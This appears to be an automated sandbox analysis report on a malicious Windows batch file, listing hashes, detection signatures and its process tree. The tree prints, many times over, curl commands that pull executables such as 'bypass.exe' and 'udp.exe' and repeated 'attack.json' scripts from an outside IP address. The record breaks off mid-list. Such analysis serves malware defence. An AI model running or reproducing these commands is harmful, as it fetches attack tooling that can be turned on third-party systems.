cc4cc2391ac8ae17753bf0eaa22433a212f33190df3f309cf41d29b809973356

Analysis

max time kernel
1199s
max time network
1200s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
16/06/2024, 12:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

t45re3hyu7.bat
Size

3KB
MD5

6ae4169ad0f978ca427def599284cb1a
SHA1

e47e2ea5ae15391dc35a58fed9399f321a0b2244
SHA256

cc4cc2391ac8ae17753bf0eaa22433a212f33190df3f309cf41d29b809973356
SHA512

75a9ba3d075e92245fb1e4de48bbb53f4630bb06901b1a0cb6252a826640b47ba4ff0da0f72022b82208c2848c9631263db550ac3eaa859c79f815137fff3d39

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
2500	timeout.exe
764	timeout.exe
3884	timeout.exe
900	timeout.exe
2028	timeout.exe
3044	timeout.exe
3080	timeout.exe
3076	timeout.exe
4848	timeout.exe
972	timeout.exe
3444	timeout.exe
2392	timeout.exe
2128	timeout.exe
2996	timeout.exe
3348	timeout.exe
2072	timeout.exe
1308	timeout.exe
2032	timeout.exe
2476	timeout.exe
1652	Process not Found
3132	Process not Found
684	Process not Found
1936	timeout.exe
3972	timeout.exe
1216	timeout.exe
276	timeout.exe
3416	timeout.exe
4768	timeout.exe
3116	timeout.exe
2448	timeout.exe
2204	timeout.exe
2844	timeout.exe
1732	timeout.exe
4912	timeout.exe
3204	timeout.exe
1388	timeout.exe
5036	timeout.exe
4616	timeout.exe
1916	timeout.exe
4740	timeout.exe
3564	timeout.exe
1960	timeout.exe
2544	Process not Found
4244	timeout.exe
2068	timeout.exe
2456	timeout.exe
4420	timeout.exe
4448	timeout.exe
996	timeout.exe
1796	timeout.exe
4188	Process not Found
3496	timeout.exe
2364	timeout.exe
2152	timeout.exe
2832	timeout.exe
2196	timeout.exe
764	timeout.exe
4376	timeout.exe
1872	Process not Found
2112	Process not Found
1668	timeout.exe
652	timeout.exe
2456	timeout.exe
744	timeout.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1832	2008	cmd.exe	81
PID 2008 wrote to memory of 1832	2008	cmd.exe	81
PID 2008 wrote to memory of 3172	2008	cmd.exe	82
PID 2008 wrote to memory of 3172	2008	cmd.exe	82
PID 2008 wrote to memory of 1820	2008	cmd.exe	85
PID 2008 wrote to memory of 1820	2008	cmd.exe	85
PID 2008 wrote to memory of 1660	2008	cmd.exe	86
PID 2008 wrote to memory of 1660	2008	cmd.exe	86
PID 2008 wrote to memory of 3896	2008	cmd.exe	87
PID 2008 wrote to memory of 3896	2008	cmd.exe	87
PID 2008 wrote to memory of 4008	2008	cmd.exe	88
PID 2008 wrote to memory of 4008	2008	cmd.exe	88
PID 2008 wrote to memory of 4392	2008	cmd.exe	89
PID 2008 wrote to memory of 4392	2008	cmd.exe	89
PID 2008 wrote to memory of 4776	2008	cmd.exe	90
PID 2008 wrote to memory of 4776	2008	cmd.exe	90
PID 2008 wrote to memory of 3716	2008	cmd.exe	91
PID 2008 wrote to memory of 3716	2008	cmd.exe	91
PID 2008 wrote to memory of 800	2008	cmd.exe	92
PID 2008 wrote to memory of 800	2008	cmd.exe	92
PID 2008 wrote to memory of 1156	2008	cmd.exe	93
PID 2008 wrote to memory of 1156	2008	cmd.exe	93
PID 2008 wrote to memory of 3444	2008	cmd.exe	94
PID 2008 wrote to memory of 3444	2008	cmd.exe	94
PID 2008 wrote to memory of 1776	2008	cmd.exe	95
PID 2008 wrote to memory of 1776	2008	cmd.exe	95
PID 2008 wrote to memory of 2204	2008	cmd.exe	96
PID 2008 wrote to memory of 2204	2008	cmd.exe	96
PID 2008 wrote to memory of 2756	2008	cmd.exe	97
PID 2008 wrote to memory of 2756	2008	cmd.exe	97
PID 2008 wrote to memory of 3648	2008	cmd.exe	98
PID 2008 wrote to memory of 3648	2008	cmd.exe	98
PID 2008 wrote to memory of 4044	2008	cmd.exe	99
PID 2008 wrote to memory of 4044	2008	cmd.exe	99
PID 2008 wrote to memory of 3964	2008	cmd.exe	100
PID 2008 wrote to memory of 3964	2008	cmd.exe	100
PID 2008 wrote to memory of 4092	2008	cmd.exe	101
PID 2008 wrote to memory of 4092	2008	cmd.exe	101
PID 2008 wrote to memory of 1312	2008	cmd.exe	102
PID 2008 wrote to memory of 1312	2008	cmd.exe	102
PID 2008 wrote to memory of 2284	2008	cmd.exe	103
PID 2008 wrote to memory of 2284	2008	cmd.exe	103
PID 2008 wrote to memory of 1716	2008	cmd.exe	104
PID 2008 wrote to memory of 1716	2008	cmd.exe	104
PID 2008 wrote to memory of 4384	2008	cmd.exe	105
PID 2008 wrote to memory of 4384	2008	cmd.exe	105
PID 2008 wrote to memory of 4072	2008	cmd.exe	106
PID 2008 wrote to memory of 4072	2008	cmd.exe	106
PID 2008 wrote to memory of 3940	2008	cmd.exe	107
PID 2008 wrote to memory of 3940	2008	cmd.exe	107
PID 2008 wrote to memory of 3888	2008	cmd.exe	108
PID 2008 wrote to memory of 3888	2008	cmd.exe	108
PID 2008 wrote to memory of 4012	2008	cmd.exe	109
PID 2008 wrote to memory of 4012	2008	cmd.exe	109
PID 2008 wrote to memory of 1796	2008	cmd.exe	110
PID 2008 wrote to memory of 1796	2008	cmd.exe	110
PID 2008 wrote to memory of 2236	2008	cmd.exe	111
PID 2008 wrote to memory of 2236	2008	cmd.exe	111
PID 2008 wrote to memory of 4324	2008	cmd.exe	112
PID 2008 wrote to memory of 4324	2008	cmd.exe	112
PID 2008 wrote to memory of 2900	2008	cmd.exe	113
PID 2008 wrote to memory of 2900	2008	cmd.exe	113
PID 2008 wrote to memory of 1556	2008	cmd.exe	114
PID 2008 wrote to memory of 1556	2008	cmd.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1832	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\t45re3hyu7.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\attrib.exe
  attrib +h C:\Users\Admin\AppData\Roaming\hjUZ
  2⤵
  - Views/modifies file attributes
  PID:1832
- C:\Windows\system32\curl.exe
  curl -s -o ua.txt http://185.254.97.190:4001/download/ua.txt
  2⤵
  PID:3172
- C:\Windows\system32\curl.exe
  curl -s -o proxy.txt http://185.254.97.190:4001/download/proxy.txt
  2⤵
  PID:1820
- C:\Windows\system32\curl.exe
  curl -s -o YzxHTTPs.exe http://185.254.97.190:4001/download/bypass.exe
  2⤵
  PID:1660
- C:\Windows\system32\curl.exe
  curl -s -o XaZDFTLSV.exe http://185.254.97.190:4001/download/tlsv.exe
  2⤵
  PID:3896
- C:\Windows\system32\curl.exe
  curl -s -o AXzTTPSMIX.exe http://185.254.97.190:4001/download/httpsmix.exe
  2⤵
  PID:4008
- C:\Windows\system32\curl.exe
  curl -s -o ZDaSUDP.exe http://185.254.97.190:4001/download/udp.exe
  2⤵
  PID:4392
- C:\Windows\system32\curl.exe
  curl -o 10619.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4776
- C:\Windows\system32\curl.exe
  curl -o 23540.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:800
- C:\Windows\system32\curl.exe
  curl -o 17243.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3444
- C:\Windows\system32\curl.exe
  curl -o 30050.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1776
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2204
- C:\Windows\system32\curl.exe
  curl -o 14474.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2756
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3648
- C:\Windows\system32\curl.exe
  curl -o 28042.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3964
- C:\Windows\system32\curl.exe
  curl -o 29839.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4092
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1312
- C:\Windows\system32\curl.exe
  curl -o 18727.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2284
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1716
- C:\Windows\system32\curl.exe
  curl -o 15196.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4384
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4072
- C:\Windows\system32\curl.exe
  curl -o 19959.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3940
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3888
- C:\Windows\system32\curl.exe
  curl -o 28389.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4012
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1796
- C:\Windows\system32\curl.exe
  curl -o 1159.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4324
- C:\Windows\system32\curl.exe
  curl -o 4682.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2900
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1556
- C:\Windows\system32\curl.exe
  curl -o 5435.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3912
- C:\Windows\system32\curl.exe
  curl -o 32562.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3676
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2384
- C:\Windows\system32\curl.exe
  curl -o 17051.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1116
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3204
- C:\Windows\system32\curl.exe
  curl -o 10081.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3084
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1028
- C:\Windows\system32\curl.exe
  curl -o 4928.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3796
- C:\Windows\system32\curl.exe
  curl -o 19332.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3228
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2684
- C:\Windows\system32\curl.exe
  curl -o 4038.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3368
- C:\Windows\system32\curl.exe
  curl -o 6595.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:276
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1732
- C:\Windows\system32\curl.exe
  curl -o 23985.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1308
- C:\Windows\system32\curl.exe
  curl -o 31143.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1820
- C:\Windows\system32\curl.exe
  curl -o 1584.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:8
- C:\Windows\system32\curl.exe
  curl -o 14410.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4376
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5060
- C:\Windows\system32\curl.exe
  curl -o 28688.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2032
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4088
- C:\Windows\system32\curl.exe
  curl -o 7918.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:464
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4808
- C:\Windows\system32\curl.exe
  curl -o 3701.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3740
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1960
- C:\Windows\system32\curl.exe
  curl -o 3951.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3636
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1316
- C:\Windows\system32\curl.exe
  curl -o 4611.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2264
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1660
- C:\Windows\system32\curl.exe
  curl -o 23855.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2088
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4520
- C:\Windows\system32\curl.exe
  curl -o 6302.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3292
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2424
- C:\Windows\system32\curl.exe
  curl -o 3690.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2748
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2128
- C:\Windows\system32\curl.exe
  curl -o 30703.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4244
- C:\Windows\system32\curl.exe
  curl -o 20752.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3956
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3820
- C:\Windows\system32\curl.exe
  curl -o 24912.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2092
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:984
- C:\Windows\system32\curl.exe
  curl -o 1947.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3216
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1264
- C:\Windows\system32\curl.exe
  curl -o 20936.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4608
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1764
- C:\Windows\system32\curl.exe
  curl -o 13697.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2140
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3496
- C:\Windows\system32\curl.exe
  curl -o 5955.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2828
- C:\Windows\system32\curl.exe
  curl -o 4137.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2068
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4500
- C:\Windows\system32\curl.exe
  curl -o 15400.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1440
- C:\Windows\system32\curl.exe
  curl -o 24714.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1312
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2284
- C:\Windows\system32\curl.exe
  curl -o 29942.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3488
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4868
- C:\Windows\system32\curl.exe
  curl -o 745.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1612
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:764
- C:\Windows\system32\curl.exe
  curl -o 18334.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1796
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1032
- C:\Windows\system32\curl.exe
  curl -o 32071.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2464
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:652
- C:\Windows\system32\curl.exe
  curl -o 8865.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4396
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1884
- C:\Windows\system32\curl.exe
  curl -o 10881.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5056
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2700
- C:\Windows\system32\curl.exe
  curl -o 2632.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3124
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4528
- C:\Windows\system32\curl.exe
  curl -o 10033.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3912
- C:\Windows\system32\curl.exe
  curl -o 29804.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1724
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4712
- C:\Windows\system32\curl.exe
  curl -o 22221.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1432
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4904
- C:\Windows\system32\curl.exe
  curl -o 28580.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3076
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2448
- C:\Windows\system32\curl.exe
  curl -o 19102.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4372
- C:\Windows\system32\curl.exe
  curl -o 22750.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2292
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3880
- C:\Windows\system32\curl.exe
  curl -o 24961.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4844
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:388
- C:\Windows\system32\curl.exe
  curl -o 15011.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3400
- C:\Windows\system32\curl.exe
  curl -o 28300.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:952
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4736
- C:\Windows\system32\curl.exe
  curl -o 2968.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1308
- C:\Windows\system32\curl.exe
  curl -o 26128.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5104
- C:\Windows\system32\curl.exe
  curl -o 28159.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5064
- C:\Windows\system32\curl.exe
  curl -o 19354.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4636
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4448
- C:\Windows\system32\curl.exe
  curl -o 24643.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2972
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3744
- C:\Windows\system32\curl.exe
  curl -o 12493.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3412
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:232
- C:\Windows\system32\curl.exe
  curl -o 3791.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1692
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1200
- C:\Windows\system32\curl.exe
  curl -o 21591.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2432
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2028
- C:\Windows\system32\curl.exe
  curl -o 14791.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1364
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4000
- C:\Windows\system32\curl.exe
  curl -o 10576.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4724
- C:\Windows\system32\curl.exe
  curl -o 30041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2860
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4588
- C:\Windows\system32\curl.exe
  curl -o 4799.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4496
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3608
- C:\Windows\system32\curl.exe
  curl -o 445.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3688
- C:\Windows\system32\curl.exe
  curl -o 15388.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3360
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:580
- C:\Windows\system32\curl.exe
  curl -o 8231.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2848
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3716
- C:\Windows\system32\curl.exe
  curl -o 32515.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4552
- C:\Windows\system32\curl.exe
  curl -o 13352.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2476
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1936
- C:\Windows\system32\curl.exe
  curl -o 1919.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:928
- C:\Windows\system32\curl.exe
  curl -o 15709.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4164
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1668
- C:\Windows\system32\curl.exe
  curl -o 13193.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1856
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1920
- C:\Windows\system32\curl.exe
  curl -o 21343.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:892
- C:\Windows\system32\curl.exe
  curl -o 20409.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1500
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4100
- C:\Windows\system32\curl.exe
  curl -o 24137.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4788
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5028
- C:\Windows\system32\curl.exe
  curl -o 8756.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1612
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1672
- C:\Windows\system32\curl.exe
  curl -o 22606.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3760
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1296
- C:\Windows\system32\curl.exe
  curl -o 32352.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:340
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3456
- C:\Windows\system32\curl.exe
  curl -o 2364.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3404
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4768
- C:\Windows\system32\curl.exe
  curl -o 12005.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1284
- C:\Windows\system32\curl.exe
  curl -o 29406.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4076
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3388
- C:\Windows\system32\curl.exe
  curl -o 12546.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3220
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2456
- C:\Windows\system32\curl.exe
  curl -o 7576.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:960
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5048
- C:\Windows\system32\curl.exe
  curl -o 21314.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:740
- C:\Windows\system32\curl.exe
  curl -o 11954.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2344
- C:\Windows\system32\curl.exe
  curl -o 6925.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1116
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3044
- C:\Windows\system32\curl.exe
  curl -o 15915.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1368
- C:\Windows\system32\curl.exe
  curl -o 12214.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4912
- C:\Windows\system32\curl.exe
  curl -o 20500.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5076
- C:\Windows\system32\curl.exe
  curl -o 16108.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4876
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4464
- C:\Windows\system32\curl.exe
  curl -o 13755.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3296
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1848
- C:\Windows\system32\curl.exe
  curl -o 11704.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3400
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:952
- C:\Windows\system32\curl.exe
  curl -o 32047.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:784
- C:\Windows\system32\curl.exe
  curl -o 17011.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1308
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4804
- C:\Windows\system32\curl.exe
  curl -o 2530.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2124
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4600
- C:\Windows\system32\curl.exe
  curl -o 5969.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1916
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1380
- C:\Windows\system32\curl.exe
  curl -o 1918.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2836
- C:\Windows\system32\curl.exe
